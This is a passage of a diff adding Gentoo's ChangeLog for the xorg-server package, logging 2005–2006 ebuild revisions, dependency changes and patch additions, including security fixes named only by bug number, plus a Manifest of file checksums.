+  xorg-server-1.0.2-r1.ebuild:
+  (#127425) Install xprint init scripts and directories, patch by Ed Catmur.
+
+  24 Mar 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.0.2-r1.ebuild:
+  Re-add font-adobe-75dpi to RDEPEND, caught by Jonathan Adamczewski.
+
+  24 Mar 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.0.2-r1.ebuild:
+  Add deps on compositeproto 0.3 and fixesproto 4.0, otherwise build may break
+  with overlay window patch.
+
+*xorg-server-1.0.2-r1 (24 Mar 2006)
+
+  24 Mar 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  -xorg-server-1.0.2.ebuild, +xorg-server-1.0.2-r1.ebuild:
+  (#127333) Fix crashing of pretty much all gtk+-2 apps. We had the
+  client-side updates to composite and fixes extensions, but we didn't let the
+  server know about them, which resulted in lots of BadRequests.
+
+  23 Mar 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.0.2.ebuild:
+  Depends on media-fonts/font-adobe-75dpi for xorgcfg.
+
+  23 Mar 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/1.0.2-fix-xorgconfig-rgbpath-and-mouse.patch,
+  +files/1.0.2-try-to-fix-xorgcfg.patch, xorg-server-1.0.2.ebuild:
+  (#117299) Fix xorgconfig, which was producing an invalid RgbPath setting.
+  (#117071) Attempt to fix xorgcfg. I couldn't test without /etc/X11/xorg.conf
+  because it was producing invalid modes on my monitor, but it worked when
+  xorg.conf was present.
+
+*xorg-server-1.0.2 (21 Mar 2006)
+
+  21 Mar 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  -files/xorg-server-1.0.1-64bit-fix-have-dix-config.patch,
+  -files/xorg-server-1.0.1-64bit-fix-indirect-vertex-array.patch,
+  -files/xorg-server-1.0.1-Sbus.patch,
+  -files/xorg-server-1.0.1-amd64-fix-for-glx.patch,
+  -files/xorg-server-1.0.1-backtrace.patch,
+  +files/xorg-server-1.0.2-Sbus.patch,
+  +files/xorg-server-1.0.2-sparc64-cfbrrop-fix.patch,
+  -xorg-server-1.0.1-r4.ebuild, +xorg-server-1.0.2.ebuild:
+  (#125803) Fix local root vulnerability present in 6.8.99.x and newer. This
+  does NOT affect 6.8.2.
+
+*xorg-server-1.0.1-r4 (19 Feb 2006)
+
+  19 Feb 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/xorg-server-1.0.1-64bit-fix-have-dix-config.patch,
+  +files/xorg-server-1.0.1-64bit-fix-indirect-vertex-array.patch,
+  -xorg-server-1.0.1-r3.ebuild, +xorg-server-1.0.1-r4.ebuild:
+  Really fix GLX on 64-bit systems.
+
+  14 Feb 2006; Markus Rothe <corsair@gentoo.org>
+  xorg-server-1.0.1-r3.ebuild:
+  Added ~ppc64
+
+*xorg-server-1.0.1-r3 (13 Feb 2006)
+
+  13 Feb 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/xorg-server-1.0.1-amd64-fix-for-glx.patch,
+  -xorg-server-1.0.1-r2.ebuild, +xorg-server-1.0.1-r3.ebuild:
+  (#122140) Add patch to fix OpenGL on amd64, thanks to Igor V. Kovalenko
+  <garrison@mail.ru>. Also update to Mesa 6.4.2 tarball so people only need to
+  download one version of it.
+
+  06 Feb 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.0.1-r2.ebuild:
+  Add an OR dependency with xkbdata for new x11-misc/xkeyboard-config, and
+  prefer it over xkbdata.
+
+  03 Feb 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.0.1-r2.ebuild:
+  (#121394) Filter -fweb, because it causes window corruption.
+
+  31 Jan 2006; Rene Nussbaumer <killerfox@gentoo.org>
+  xorg-server-1.0.1-r2.ebuild:
+  Unstable on hppa.
+
+*xorg-server-1.0.1-r2 (26 Jan 2006)
+
+  26 Jan 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/xorg-server-1.0.1-backtrace.patch, -xorg-server-1.0.1.ebuild,
+  -xorg-server-1.0.1-r1.ebuild, +xorg-server-1.0.1-r2.ebuild:
+  Fix the automatic backtraces at the bottom of /var/log/Xorg.*.log on segfaults.
+
+  19 Jan 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.0.1.ebuild, xorg-server-1.0.1-r1.ebuild:
+  Update the license.
+
+  04 Jan 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.0.1-r1.ebuild:
+  No need to specify configure options that are the default.
+
+  04 Jan 2006; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.0.1-r1.ebuild:
+  No need to manually create Xorg -> X symlink anymore.
+
+*xorg-server-1.0.1-r1 (03 Jan 2006)
+
+  03 Jan 2006; Joshua Baergen <joshuabaergen@gentoo.org>
+  +xorg-server-1.0.1-r1.ebuild:
+  Fix the libglx* relocation routine to look in the right place so that xorg-x11
+  will play nice with eselect. Bug #117100.
+
+  26 Dec 2005; Stefaan De Roeck <stefaan@gentoo.org>
+  xorg-server-1.0.1.ebuild:
+  Marked ~alpha
+
+*xorg-server-1.0.1 (23 Dec 2005)
+
+  23 Dec 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/xorg-server-1.0.1-Sbus.patch, -xorg-server-0.99.4-r2.ebuild,
+  -xorg-server-1.0.0.ebuild, +xorg-server-1.0.1.ebuild:
+  Bump for 7.0. (#111361) Add patch to fix sparc build.
+
+*xorg-server-1.0.0 (17 Dec 2005)
+
+  17 Dec 2005; Joshua Baergen <joshuabaergen@gentoo.org>
+  +xorg-server-1.0.0.ebuild:
+  Bump for 7.0RC4.
+
+  09 Dec 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  -files/fix-xkb-compile-path-2.patch:
+  Unused file.
+
+  09 Dec 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  -xorg-server-0.99.2-r2.ebuild, -xorg-server-0.99.3.ebuild,
+  -xorg-server-0.99.3-r1.ebuild, -xorg-server-0.99.4.ebuild,
+  -xorg-server-0.99.4-r1.ebuild:
+  Pull old versions.
+
+*xorg-server-0.99.4-r2 (06 Dec 2005)
+
+  06 Dec 2005; Joshua Baergen <joshuabaergen@gentoo.org>
+  +xorg-server-0.99.4-r2.ebuild:
+  Build against Mesa 6.4.1 instead of Mesa 6.4.  Caught by dagb.
+
+*xorg-server-0.99.4-r1 (05 Dec 2005)
+
+  05 Dec 2005; Joshua Baergen <joshuabaergen@gentoo.org>
+  +xorg-server-0.99.4-r1.ebuild:
+  It would appear that libglx (silently) fails to build if libdrm is not >=
+  version 2.  Rev-bump so that anyone who has merged this already gets a forced
+  re-merge and thus gets a working glx extension.
+
+*xorg-server-0.99.4 (04 Dec 2005)
+
+  04 Dec 2005; Joshua Baergen <joshuabaergen@gentoo.org>
+  +xorg-server-0.99.4.ebuild:
+  Bump for 7.0RC3.
+
+  14 Nov 2005; Joshua Baergen <joshuabaergen@gentoo.org>
+  +files/fix-xkb-compile-path-2.patch, -files/fix-xkb-compile-path.patch,
+  xorg-server-0.99.3-r1.ebuild:
+  Remove CVS tags from patch as they don't do anything but break installs.
+  Fixes bug #112476.
+
+*xorg-server-0.99.3-r1 (14 Nov 2005)
+
+  14 Nov 2005; Joshua Baergen <joshuabaergen@gentoo.org>
+  +files/fix-xkb-compile-path.patch, +xorg-server-0.99.3-r1.ebuild:
+  Fix xkb issue spotted by dberkholz.
+
+*xorg-server-0.99.3 (11 Nov 2005)
+
+  11 Nov 2005; Joshua Baergen <joshuabaergen@gentoo.org>
+  +xorg-server-0.99.3.ebuild:
+  Bump for 7.0RC2.
+
+*xorg-server-0.99.2-r2 (09 Nov 2005)
+
+  09 Nov 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  -xorg-server-0.99.2-r1.ebuild, +xorg-server-0.99.2-r2.ebuild:
+  Build against mesa 6.4 instead of 6.3.2.
+
+  31 Oct 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  -xorg-server-0.99.1_p20051013-r1.ebuild, -xorg-server-0.99.2.ebuild:
+  Pull old versions.
+
+  29 Oct 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.2-r1.ebuild:
+  Note that X->Xorg symlink will be taken care of for any new snapshots, so we
+  can remove the line from the ebuild.
+
+  20 Oct 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.2-r1.ebuild:
+  Use --enable-install-setuid instead of manually changing permissions.
+
+*xorg-server-0.99.2-r1 (20 Oct 2005)
+
+  20 Oct 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  +xorg-server-0.99.2-r1.ebuild:
+  (#109926) No need to specify xkb path anymore, it's wrong now as well.
+
+*xorg-server-0.99.2 (20 Oct 2005)
+
+  20 Oct 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  +xorg-server-0.99.2.ebuild:
+  Bump for 7.0 RC1.
+
+  19 Oct 2005; Stephen P. Becker <geoman@gentoo.org>
+  xorg-server-0.99.1_p20051013-r1.ebuild:
+  added ~mips keyword
+
+  17 Oct 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1_p20051013-r1.ebuild:
+  (#109354) In some mystical way all the dependency changes got reverted in
+  the new revision.
+
+  16 Oct 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  -files/0.99.1-r10-check-for-glproto.patch,
+  -files/0.99.1-r10_CAN-2005-2495.patch, -files/fix-transparencies.patch,
+  -xorg-server-0.99.1-r10.ebuild, -xorg-server-0.99.1_p20051013.ebuild:
+  Pull old ebuilds.
+
+*xorg-server-0.99.1_p20051013-r1 (16 Oct 2005)
+
+  16 Oct 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  +xorg-server-0.99.1_p20051013-r1.ebuild:
+  (#109467) Set a non-broken default font path so things like Xvfb actually work.
+
+  15 Oct 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1_p20051013.ebuild:
+  Add x11-libs/libXtst for dmx.
+
+  15 Oct 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1_p20051013.ebuild:
+  (#109354) Add lots of deps -- libXaw, libXpm, libXxf86misc, libXxf86vm. Add
+  notes on which parts depend on them.
+
+  14 Oct 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1_p20051013.ebuild:
+  Also wrap dmxproto dep in minimal USE.
+
+  14 Oct 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1_p20051013.ebuild:
+  (#109124) Add dep on libdmx, within check for USE=minimal. Also move libXres
+  dep within there, because it's for dmx.
+
+  14 Oct 2005; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-0.99.1_p20051013.ebuild:
+  Add missing deps (x11-libs/libXres and x11-libs/libxkbui).
+
+  14 Oct 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  -files/0.99.1-r9_CAN-2005-2495.patch,
+  -files/0.99.1-r9-check-for-glproto.patch, -xorg-server-0.99.1-r9.ebuild:
+  Drop old revision.
+
+*xorg-server-0.99.1_p20051013 (14 Oct 2005)
+
+  14 Oct 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  +xorg-server-0.99.1_p20051013.ebuild:
+  Update to today's CVS. Enable xprint USE flag. Stop filtering
+  -fomit-frame-pointer, because it works now. Add dep on
+  >=x11-proto/glproto-1.4.1_pre20051013 to fix build breakage.
+
+  04 Oct 2005; Joshua Baergen <joshuabaergen@gentoo.org>
+  +files/0.99.1-r10-check-for-glproto.patch,
+  +files/0.99.1-r10_CAN-2005-2495.patch:
+  Oops, forgot the version-dependent patches.
+
+*xorg-server-0.99.1-r10 (04 Oct 2005)
+
+  04 Oct 2005; Joshua Baergen <joshuabaergen@gentoo.org>
+  +files/fix-transparencies.patch, +xorg-server-0.99.1-r10.ebuild:
+  Added fix for OO/wine transparencies from bug #96053.  Thanks to bartron for
+  both patches.
+
+  27 Sep 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1-r9.ebuild:
+  As of 20050927, xprint will require mkfontdir/mkfontscale for XpConfig.
+
+  13 Sep 2005; Joshua Baergen <joshuabaergen@gentoo.org>
+  -files/0.99.1-r6-check-for-glproto.patch,
+  -files/0.99.1-r8-check-for-glproto.patch, -files/fix-xnest.patch,
+  -files/make-fbcompose-endian-safe.patch, -xorg-server-0.99.1-r7.ebuild,
+  -xorg-server-0.99.1-r8.ebuild:
+  Remove old versions and patches.
+
+*xorg-server-0.99.1-r9 (13 Sep 2005)
+
+  13 Sep 2005; Joshua Baergen <joshuabaergen@gentoo.org>
+  +files/0.99.1-r9_CAN-2005-2495.patch,
+  +files/0.99.1-r9-check-for-glproto.patch, +xorg-server-0.99.1-r9.ebuild:
+  Bump to include security fix from bug #105688.
+
+  12 Sep 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1-r8.ebuild:
+  Add some deps so we get a server that actually runs after emerging it. In
+  specific: media-fonts/font-misc-misc media-fonts/font-cursor-misc
+  x11-misc/xbitmaps x11-misc/xkbdata x11-apps/iceauth x11-apps/rgb
+  x11-apps/xauth x11-apps/xinit.
+
+  09 Sep 2005; Donnie Berkholz <dberkholz@gentoo.org>; +metadata.xml:
+  Add metadata.
+
+*xorg-server-0.99.1-r8 (08 Sep 2005)
+
+  08 Sep 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/0.99.1-r8-check-for-glproto.patch, +xorg-server-0.99.1-r8.ebuild:
+  Update to CVS HEAD as of 20050907. Update glproto patch to apply cleanly.
+
+  06 Sep 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1-r7.ebuild:
+  Make --enable-xcsecurity always on, remove nvidia USE.
+
+  03 Sep 2005; Jeremy Huddleston <eradicator@gentoo.org>
+  xorg-server-0.99.1-r7.ebuild:
+  Changed opengl-update envocation to use eselect instead.
+
+  03 Sep 2005; Doug Goldstein <cardoe@gentoo.org>
+  +xorg-server-0.99.1-r7.ebuild, -xorg-server-0.99.1-r6.ebuild:
+  Added support for the XCSecurity option, which is what's needed to make
+  binary Nvidia drivers work
+
+  02 Sep 2005; Joshua Baergen <joshuabaergen@gentoo.org>
+  -files/0.99.1-r5-check-for-glproto.patch,
+  +files/0.99.1-r6-check-for-glproto.patch:
+  Apparently this patch has a package revision-based name.
+
+  02 Sep 2005; Joshua Baergen <joshuabaergen@gentoo.org>
+  +files/make-fbcompose-endian-safe.patch, -xorg-server-0.99.1-r5.ebuild,
+  +xorg-server-0.99.1-r6.ebuild:
+  Makes certain draw code endian-safe. Should fix things for big-endian
+  arches. Thanks to Stanislaw Skowronek and geoman in bug #104318.
+
+*xorg-server-0.99.1-r6 (02 Sep 2005)
+
+  02 Sep 2005; Joshua Baergen <joshuabaergen@gentoo.org>
+  +files/make-fbcompose-endian-safe.patch, -xorg-server-0.99.1-r5.ebuild,
+  +xorg-server-0.99.1-r6.ebuild:
+  Added fix to make colour calculations endian safe.  Thanks to Stanislaw
+  Skowronek for the patch and geoman for the heads-up.  Fixes bug #104318.
+
+  30 Aug 2005; Herbie Hopkins <herbs@gentoo.org>
+  xorg-server-0.99.1-r5.ebuild:
+  s/lib/$(get_libdir)
+
+  23 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  -files/check-for-glproto.patch, -files/fix-xf86misc-typo.patch,
+  -files/xorg-server-0.99.1-x86_64-1.patch, -xorg-server-0.99.1-r4.ebuild:
+  Pull old version.
+
+  23 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/0.99.1-r5-check-for-glproto.patch, xorg-server-0.99.1-r5.ebuild:
+  (#fd.o 3990) Add 0.99.1-r5-check-for-glproto.patch. Pass
+  --with-xkb-path=/usr/lib/X11/xkb in attempt to get VT switching closer to
+  working. Update CVS patch to 20050822-1, which makes xprint almost work.
+
+*xorg-server-0.99.1-r5 (22 Aug 2005)
+
+  22 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/fix-xnest.patch, +xorg-server-0.99.1-r5.ebuild:
+  Update to CVS as of 20050822. This should make amd64 and sparc work. Update
+  included mesa to 6.3.2. Stop forcing glx on, it's on by default. Add
+  --disable-static so we don't build .a files for server modules. Add
+  fix-xnest.patch to fix breakage in the Xnest linking, caused by the
+  configure.ac reworking a couple of days ago.
+
+  21 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1-r4.ebuild:
+  xprint build is broken; force it off.
+
+  21 Aug 2005; Luca Barbato <lu_zero@gentoo.org>
+  xorg-server-0.99.1-r4.ebuild:
+  Marked ~ppc
+
+  21 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  -files/xorg-composite.patch, -files/xorg-server-fbmmx-local.patch,
+  -xorg-server-0.99.1.ebuild, -xorg-server-0.99.1-r1.ebuild,
+  -xorg-server-0.99.1-r2.ebuild, -xorg-server-0.99.1-r3.ebuild:
+  Drop old versions.
+
+*xorg-server-0.99.1-r4 (21 Aug 2005)
+
+  21 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  +xorg-server-0.99.1-r4.ebuild:
+  Update to today's CVS. This adds a USE flag for xprint. Also, get rid of the
+  glx USE flag, because everybody should get it.
+
+  20 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1.ebuild, xorg-server-0.99.1-r1.ebuild,
+  xorg-server-0.99.1-r2.ebuild, xorg-server-0.99.1-r3.ebuild:
+  panoramixproto moved to xineramaproto.
+
+  17 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/xorg-server-fbmmx-local.patch, xorg-server-0.99.1-r3.ebuild:
+  (fd.o #4073) Fix compilation failures at fbmmx.c. Patch from Diego Pettenò
+  <flameeyes@gentoo.org>.
+
+  16 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1-r3.ebuild:
+  Wrap opengl things in `if use glx..`
+
+  15 Aug 2005; Herbie Hopkins <herbs@gentoo.org>
+  xorg-server-0.99.1-r3.ebuild:
+  Marked ~amd64.
+
+  14 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/xorg-server-0.99.1-x86_64-1.patch, xorg-server-0.99.1-r3.ebuild:
+  Add xorg-server-0.99.1-x86_64-1.patch to fix configure.ac on amd64.
+
+  14 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1-r3.ebuild:
+  Wrap pkg_postrm() module dir removal in ! has_version.
+
+  12 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1-r3.ebuild:
+  No longer necessary to force --enable-composite; it's on by default.
+
+  12 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1-r3.ebuild:
+  Update opengl-update dependency to 2.2.3 for proper handling of
+  /usr/libdir/modules/extensions/.
+
+  12 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1-r3.ebuild:
+  Remove xinerama USE flag; building without it causes major issues.
+
+  12 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1-r3.ebuild:
+  Add pkg_postrm() to get rid of /usr/lib/xorg/modules. This should make
+  things work better for people crazy enough to downgrade to monolithic.
+
+*xorg-server-0.99.1-r3 (12 Aug 2005)
+
+  12 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  +xorg-server-0.99.1-r3.ebuild:
+  Set /usr/bin/Xorg suid so it starts.
+
+  12 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1-r2.ebuild:
+  Fix the patch that mysteriously broke.
+
+  12 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/check-for-glproto.patch, +files/fix-xf86misc-typo.patch,
+  +xorg-server-0.99.1-r2.ebuild:
+  Re-add, this time with a huge patch on the mirror.
+
+  12 Aug 2005; Diego Pettenò <flameeyes@gentoo.org>
+  -files/check-for-glproto.patch, -files/fix-xf86misc-typo.patch,
+  -files/xorg-server-0.99.1-update-to-CVS-HEAD-20050811.patch,
+  -xorg-server-0.99.1-r2.ebuild:
+  Removed 0.99.1-r2 version (3.3MB patch is not good).
+
+*xorg-server-0.99.1-r2 (12 Aug 2005)
+
+  12 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/check-for-glproto.patch, +files/fix-xf86misc-typo.patch,
+  +files/xorg-server-0.99.1-update-to-CVS-HEAD-20050811.patch,
+  +xorg-server-0.99.1-r2.ebuild:
+  Add xorg-server-0.99.1-update-to-CVS-HEAD-20050811.patch to fix big-endian
+  breakage, composite, some other stuff. Split out non-composite things from
+  xorg-composite.patch to check-for-glproto.patch and fix-xf86misc-typo.patch.
+
+  11 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1-r1.ebuild:
+  Make an X->Xorg symlink in here until upstream can make one.
+
+  11 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1-r1.ebuild:
+  Add more deps: inputproto, bigreqsproto, xcmiscproto. All reported by aaronf0.
+
+  10 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1-r1.ebuild:
+  Move confopts into pkg_setup(), and therefore also CONFIGURE_OPTIONS.
+
+*xorg-server-0.99.1-r1 (10 Aug 2005)
+
+  10 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  +xorg-server-0.99.1-r1.ebuild:
+  Rev bump to make sure people get working GL setup.
+
+  10 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1.ebuild:
+  Add GL handling, /usr/lib/opengl, opengl-update, etc.
+
+  10 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1.ebuild:
+  Add dep on x11-proto/kbproto, again from aaronf0.
+
+  10 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1.ebuild:
+  Add dep on fontsproto, reported by aaronf0 on irc.
+
+  09 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1.ebuild:
+  (#101883) Add trapproto and panoramixproto as deps.
+
+  08 Aug 2005; Ferris McCormick <fmccor@gentoo.org>
+  xorg-server-0.99.1.ebuild:
+  Add ~sparc keyword (prepare for X Modular testing).
+
+  08 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-0.99.1.ebuild:
+  (#101749) Add dependencies on videoproto, scrnsaverproto and evieext.
+  Reported by Georgi Georgiev <chutz@gg3.net>.
+
+*xorg-server-0.99.1 (08 Aug 2005)
+
+  08 Aug 2005; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/xorg-composite.patch, +xorg-server-0.99.1.ebuild:
+  Initial commit for modular X.
+
diff --git a/x11-base/xorg-server/Manifest b/x11-base/xorg-server/Manifest
new file mode 100644
index 00000000..d200cc1e
--- /dev/null
+++ b/x11-base/xorg-server/Manifest
@@ -0,0 +1,38 @@
+AUX xdm-setup.initd-1 346 RMD160 e68512e71adbf15743f789bb6b5587b07a9812a3 SHA1 f25303b8bcef0c5d2eb61517d5347b4b88736cd4 SHA256 942ce5e8d1a0770543b683dcc388bae7619a24eb9741c1cd678ed3df97c01406
+AUX xdm.confd-3 853 RMD160 363cd18f760650923e16579bf55f661e93dad63b SHA1 0027b98f2aeb5c43219fa4f9b7d81a05101bec6f SHA256 00af0d957ff1b4f31c1aa4701d93a54080408548792deafac5414cbfa13b89ec
+AUX xdm.confd-4 569 RMD160 ca67d3ef00cc423e945ec36c232e1b7caa28c49d SHA1 1959a421f6f38a605c8ce528aa124008ffcc3cb8 SHA256 b316bd388e31d5212fd871acc0b1194a7a17e62114138568199f2baa74ccffba
+AUX xdm.initd 5552 RMD160 5736eae5c22e066dc56e1c54ccb1bc43235630e8 SHA1 dd6fa41096957790c1f07f25506018d3481adce4 SHA256 03af1554068bf14588895eb4557962e65a35f87d3f853eba3e584e4eb726c6c6
+AUX xdm.initd-3 5662 RMD160 c215ee58cf2ab3b336f106d3526256abf98f982e SHA1 67aa7501e61f64c1db5306d72bd3b673c94e36a7 SHA256 633a461f484a993f3edbeca42c724883f1c1de3a201bcefd83ae168492bc9d7e
+AUX xdm.initd-4 5728 RMD160 8e61ff132820f17113156ef0fd629b83da421c7a SHA1 2e3abdb000fb1cb11024e6101c4bfea6dce9df0c SHA256 d3094433437bcd39d571d6f11bc3d4bf56843864891c45252bd687635f9bd1e4
+AUX xdm.initd-5 5721 RMD160 785b7b3a8fc15439ed650d4ebb4f57cd28063ea2 SHA1 91905d67069cd82b4f39f6a7997ce3763fc70dae SHA256 de1a07296c7248a90fc39212f9b586816fd2f911af71624ad13ef55bf8a0fefa
+AUX xdm.initd-7 5784 RMD160 095b1cadd23281a0d413d06c79103755491e2df2 SHA1 2b8e232605d40eab1357ac5ee171bedd619fd5b2 SHA256 ce10ceec08530ff4498ec408da48c177304a9b8c17f18e99c38b904518d4e0a5
+AUX xdm.initd-8 5702 RMD160 aef613766ffdd803e86914eecf101103bfcde28d SHA1 6667598ff1b0e02df286932bec934eea7e964d2c SHA256 f5f97f5ac47738f352d172185b9256c78562a91510fd3d69dbc87bb3a5d0814f
+AUX xorg-cve-2011-4028+4029.patch 671 RMD160 f9c607b5bfe20259f2adb320b6a1a0819f59f7ab SHA1 84797b66434aa05acc9f6881050d1b46487caf77 SHA256 76b9bb4a928fa7179eb52ab3b2bd2ef6d7db83e0543ba80de37cdab05efa601c
+AUX xorg-server-1.11-disable-tests-without-ddx.patch 2184 RMD160 4648fafbadebc3bc72f6a7fcac56d4e0e7fbf8ef SHA1 381c6a485505641a41337508be50cc829b17aca8 SHA256 e3b92e31843ff5046a96d3c4eb6ce67ab00e6422ffe92e7e7d13424b67dc844e
+AUX xorg-server-1.11-dix-pointerrootwin-send-focusin.patch 970 RMD160 e1384bc8e6345bb9bcfa16874e5032e1ad389af6 SHA1 2f7ab2bd9a405b77d6c1538784152b68777705cd SHA256 c65e3499f6f2974d00bfcec6f6c6826982e87327b61d9621dce6c2bf26949a7d
+AUX xorg-server-1.11-dix-send-focus-events.patch 2345 RMD160 286ed4b953c329b8bf289cb759ad986a6ab8a240 SHA1 8065f0c170df65665d992f013e2409bb3a62cb3b SHA256 77e1ce80ebf57718b5aa7cfdb1add109c62c8b8728899405c212239b2576d110
+AUX xorg-server-1.11-log-format-fix.patch 13585 RMD160 2c8328b8f2448bc206d358e95ddbb8f7f1ecfa53 SHA1 cfcc384f189237a28104f49f71e70ff613f76c84 SHA256 2a70be6fa9d77c5dbc831cc1891eb7426005a22fc3e03707810a2e07eebd58c0
+AUX xorg-server-1.11-pointer-to-int-cast.patch 2663 RMD160 26d2262f591cf5951756cd6a804fef01a33a6663 SHA1 5a70178b5f51bd949cc1c9afd725a10b0bf00277 SHA256 22409e5f93826b4292cd69786bb032e8843f74e115640488ed31842ffb8784d6
+AUX xorg-server-1.12-disable-acpi.patch 275 RMD160 01244888695fc7928c81c06cc1f4fcd3625fc9de SHA1 555a4d16f38ed54ed9efa6fff9ec230d11362e30 SHA256 1d3878d44e2b8690bb7d1595960d06acee7f86a6a4724236a09a74900404e953
+AUX xorg-server-1.12-xf86edidmodes-array-bounds.patch 1219 RMD160 3b16fb00a44d493e452487c08cf4bd161e72545d SHA1 036a7b31c108dc25250a070aaa48be069d5b31c3 SHA256 d781acc0ab5c34ab52d87135346a1346b529dce663779d1e8641252e260d4de2
+AUX xorg-server-1.9-nouveau-default.patch 916 RMD160 0ebdf0fb76364b7fd0c520c3a2f7cc2cc1a83446 SHA1 daddde0f4f4276e12b87354d2e6825ed5c74c6eb SHA256 a7ff421dd928e3025194279f9afb7cc033a896b3417abe339741e9c6ed4b54ea
+AUX xorg-server-die-ugly-background.patch 453 RMD160 a1d30c378e740f2ad6fef390a8407e67bb131d94 SHA1 204d76bbe37c3cda7a8aea613c0a66314404c705 SHA256 2a16f43ad5c43d528126b44f172322320e54912481eb538ea79f841c4ee1e754
+AUX xorg-server-disable-acpi.patch 663 RMD160 7074ca5276369b746ea7606a0795232aafe07c90 SHA1 d300a37dd2e0a8aa3965948c13f6995e6767841d SHA256 5b3cc7c8bea18fe3ba81851d2846d19ffd8fab9cdf5d8f3a274846847e734200
+AUX xorg-server-glapi_c.patch 2215 RMD160 2df0b6ef296744b0c6951f4ba76bfeeb09196d62 SHA1 5bb85cef608bd75eca7a091fb581c0243cb36598 SHA256 5f59b883d49f53d2f6f71cbbf5e4ef74bdf545238afd61fa3011e0eb311cfb3b
+AUX xorg-sets.conf 199 RMD160 33815115b6e8b8360af4f0778b0e2c5fb1a9aaee SHA1 b5a2fd01a97558fa909c67f510d8a59b55e20f57 SHA256 1201d0337ac69d9715f4454a86dfb8a7bd1ae6f4c2578042fc08f283a997597c
+DIST xorg-server-1.10.4.tar.bz2 5386174 RMD160 13eeaf7497e63ecddba46010c075d27121e18aae SHA1 857d6377025c77851a3cc5f8ec2ce84164a2fdc6 SHA256 fafc16b97b9a61b62dfaa74e8d336baa0cea752ce9ed8103c4d212baa8031ca5
+DIST xorg-server-1.11.3.tar.bz2 4946629 RMD160 1953ea617911cdbbd56152272034e60844fae3bc SHA1 1ca113eb8d371539467518319aab867f20722930 SHA256 d3852243a42e1d7013ff2b89ce038dfcadcf86ba34ef4f16bcf85e7ebce28918
